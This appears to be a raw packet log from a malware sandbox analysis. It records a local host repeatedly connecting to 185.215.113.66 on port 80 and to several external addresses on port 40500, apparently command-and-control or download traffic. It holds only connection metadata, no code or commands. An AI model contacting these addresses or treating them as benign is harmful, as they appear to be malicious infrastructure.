Oct 26, 2024 07:26:37.869573116 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:37.876941919 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.413156033 CEST	49831	40500	192.168.2.6	88.151.180.214
Oct 26, 2024 07:26:38.418528080 CEST	40500	49831	88.151.180.214	192.168.2.6
Oct 26, 2024 07:26:38.418603897 CEST	49831	40500	192.168.2.6	88.151.180.214
Oct 26, 2024 07:26:38.420048952 CEST	49831	40500	192.168.2.6	88.151.180.214
Oct 26, 2024 07:26:38.425698042 CEST	40500	49831	88.151.180.214	192.168.2.6
Oct 26, 2024 07:26:38.428652048 CEST	49831	40500	192.168.2.6	88.151.180.214
Oct 26, 2024 07:26:38.434704065 CEST	40500	49831	88.151.180.214	192.168.2.6
Oct 26, 2024 07:26:38.805803061 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.805828094 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.805849075 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.805869102 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.805923939 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.805969000 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.806361914 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.806397915 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.806420088 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.806440115 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.806451082 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.806462049 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.806478977 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.806485891 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.806504011 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.806535006 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.811398029 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.811427116 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.811449051 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.811491013 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.811525106 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.967945099 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.967972994 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968118906 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968158960 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.968239069 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968244076 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.968297005 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.968314886 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968333960 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968353033 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968373060 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968380928 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.968441963 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.968441963 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.968949080 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.968991041 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.969073057 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.969073057 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.969264984 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.969288111 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.969317913 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.969316959 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.969337940 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.969347000 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.969362020 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.969393969 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.969393969 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.969420910 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.970177889 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.970213890 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.970232964 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.970252037 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.970253944 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.970253944 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.970276117 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.970279932 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.970300913 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.970324993 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.971013069 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.971035957 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.971064091 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.971071959 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.971102953 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.971102953 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:38.973496914 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.973524094 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:38.973576069 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130456924 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130477905 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130494118 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130506992 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130532980 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130562067 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130584002 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130598068 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130611897 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130625963 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130640984 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130665064 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130690098 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130728006 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130780935 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130794048 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130820990 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130837917 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.130917072 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130985022 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.130999088 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131026983 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131045103 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131117105 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131226063 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131239891 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131254911 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131278038 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131288052 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131299019 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131320953 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131336927 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131366968 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131608009 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131622076 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131637096 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131649971 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131655931 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131669998 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131683111 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131850958 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131865025 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131880045 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131891012 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131918907 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131921053 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131936073 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131951094 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131966114 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.131974936 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.131999016 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132014036 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132020950 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132030010 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132054090 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132069111 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132561922 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132603884 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132606030 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132622004 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132648945 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132672071 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132672071 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132688046 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132702112 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132713079 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132715940 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132742882 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132769108 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132797003 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132812023 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132824898 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132838964 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132852077 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.132854939 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132872105 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.132889032 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.133569956 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.133584976 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.133599043 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.133614063 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.133630991 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.133640051 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.135883093 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.135900974 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.135931969 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.135946989 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293245077 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293308020 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293564081 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293581009 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293596029 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293605089 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293612957 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293620110 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293628931 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293638945 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293647051 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293653965 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293663025 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293674946 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293679953 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293687105 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293695927 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293708086 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293718100 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293729067 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293734074 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293739080 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293751955 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293765068 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293778896 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293797970 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293804884 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293822050 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293838978 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:39.293847084 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293869019 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:39.293889999 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:41.485434055 CEST	49831	40500	192.168.2.6	88.151.180.214
Oct 26, 2024 07:26:41.531342983 CEST	40500	49831	88.151.180.214	192.168.2.6
Oct 26, 2024 07:26:43.532511950 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:43.532866001 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:43.538233995 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:43.538326025 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:43.538331032 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:43.538387060 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:43.538521051 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:43.543847084 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437745094 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437758923 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437768936 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437804937 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437814951 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437841892 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437845945 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.437860966 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437902927 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.437912941 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.437921047 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437948942 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437961102 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.437968969 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.437982082 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.437997103 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.439018965 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.439049006 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:44.443130016 CEST	80	49856	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:44.443219900 CEST	49856	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:45.453684092 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:45.460546017 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:45.460654974 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:45.461061001 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:45.470441103 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430039883 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430054903 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430071115 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430087090 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430095911 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:46.430103064 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430119038 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430126905 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:46.430135965 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430165052 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430175066 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:46.430197001 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:46.430346012 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430361032 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:46.430396080 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:46.430408955 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:46.500719070 CEST	49873	40500	192.168.2.6	92.47.47.166
Oct 26, 2024 07:26:46.507352114 CEST	40500	49873	92.47.47.166	192.168.2.6
Oct 26, 2024 07:26:46.507436037 CEST	49873	40500	192.168.2.6	92.47.47.166
Oct 26, 2024 07:26:46.509336948 CEST	49873	40500	192.168.2.6	92.47.47.166
Oct 26, 2024 07:26:46.515630960 CEST	40500	49873	92.47.47.166	192.168.2.6
Oct 26, 2024 07:26:46.515695095 CEST	49873	40500	192.168.2.6	92.47.47.166
Oct 26, 2024 07:26:46.522413969 CEST	40500	49873	92.47.47.166	192.168.2.6
Oct 26, 2024 07:26:46.905507088 CEST	40500	49831	88.151.180.214	192.168.2.6
Oct 26, 2024 07:26:46.905582905 CEST	49831	40500	192.168.2.6	88.151.180.214
Oct 26, 2024 07:26:52.766783953 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:52.772119999 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.054683924 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.054727077 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.054764986 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.054799080 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.054882050 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.054894924 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.054905891 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.054928064 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.054948092 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.055454969 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.055480003 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.055496931 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.055510044 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.055510998 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.055546045 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.055577040 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.055612087 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.055634022 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.056026936 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.056076050 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.056077957 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.056092978 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.056108952 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.056114912 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.056134939 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.056153059 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:53.056838989 CEST	80	49867	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:53.056889057 CEST	49867	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:54.079423904 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:54.086548090 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.086708069 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:54.088952065 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:54.095500946 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995249987 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995306015 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995323896 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995345116 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995364904 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995377064 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995388985 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995399952 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995426893 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995446920 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:54.995498896 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:54.995498896 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:54.997246027 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:55.000848055 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:55.000869036 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:55.000931978 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:55.001019955 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:55.001061916 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:55.001132011 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:55.018932104 CEST	40500	49873	92.47.47.166	192.168.2.6
Oct 26, 2024 07:26:55.019140005 CEST	49873	40500	192.168.2.6	92.47.47.166
Oct 26, 2024 07:26:55.151390076 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:55.151408911 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:55.151452065 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:55.151463985 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:55.151588917 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:55.151588917 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:56.508057117 CEST	49873	40500	192.168.2.6	92.47.47.166
Oct 26, 2024 07:26:56.513381958 CEST	40500	49873	92.47.47.166	192.168.2.6
Oct 26, 2024 07:27:01.251027107 CEST	49914	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:01.257487059 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.515893936 CEST	49952	40500	192.168.2.6	90.156.162.125
Oct 26, 2024 07:27:01.524182081 CEST	40500	49952	90.156.162.125	192.168.2.6
Oct 26, 2024 07:27:01.526700020 CEST	49952	40500	192.168.2.6	90.156.162.125
Oct 26, 2024 07:27:01.528223991 CEST	49952	40500	192.168.2.6	90.156.162.125
Oct 26, 2024 07:27:01.530986071 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.530997992 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531009912 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531023026 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531037092 CEST	80	49914	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:01.531075001 CEST	49914	80	192.168.2.6	185.215.113.66
